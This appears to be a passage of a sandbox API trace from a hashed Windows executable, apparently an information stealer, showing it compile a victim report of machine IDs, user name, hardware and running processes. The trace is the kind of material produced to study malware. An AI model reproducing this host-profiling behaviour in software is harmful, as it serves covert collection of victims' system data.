[0054.794] GetLastError () returned 0x7a
[0054.794] SetLastError (dwErrCode=0x7a)
[0054.794] GetLastError () returned 0x7a
[0054.794] SetLastError (dwErrCode=0x7a)
[0054.794] GetLastError () returned 0x7a
[0054.794] SetLastError (dwErrCode=0x7a)
[0054.794] GetLastError () returned 0x7a
[0054.794] SetLastError (dwErrCode=0x7a)
[0054.794] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67db18
[0054.794] GetLastError () returned 0x7a
[0054.794] SetLastError (dwErrCode=0x7a)
[0054.794] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.794] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da98 | out: hHeap=0x670000) returned 1
[0054.794] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.795] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d978 | out: hHeap=0x670000) returned 1
[0054.795] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [", lpString2="452" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452"
[0054.795] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n"
[0054.795] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
[0054.795] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- "
[0054.795] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- ", lpString2="winlogon.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe"
[0054.795] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe ["
[0054.796] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da18
[0054.796] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x671500
[0054.796] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9d8
[0054.796] GetLastError () returned 0x7a
[0054.796] SetLastError (dwErrCode=0x7a)
[0054.796] GetLastError () returned 0x7a
[0054.796] SetLastError (dwErrCode=0x7a)
[0054.796] GetLastError () returned 0x7a
[0054.796] SetLastError (dwErrCode=0x7a)
[0054.796] GetLastError () returned 0x7a
[0054.796] SetLastError (dwErrCode=0x7a)
[0054.796] GetLastError () returned 0x7a
[0054.796] SetLastError (dwErrCode=0x7a)
[0054.796] GetLastError () returned 0x7a
[0054.796] SetLastError (dwErrCode=0x7a)
[0054.796] GetLastError () returned 0x7a
[0054.797] SetLastError (dwErrCode=0x7a)
[0054.797] GetLastError () returned 0x7a
[0054.797] SetLastError (dwErrCode=0x7a)
[0054.797] GetLastError () returned 0x7a
[0054.797] SetLastError (dwErrCode=0x7a)
[0054.797] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67db18
[0054.797] GetLastError () returned 0x7a
[0054.797] SetLastError (dwErrCode=0x7a)
[0054.797] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.797] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9d8 | out: hHeap=0x670000) returned 1
[0054.797] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.797] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da18 | out: hHeap=0x670000) returned 1
[0054.797] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [", lpString2="504" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504"
[0054.797] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n"
[0054.797] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1b8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
[0054.808] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- 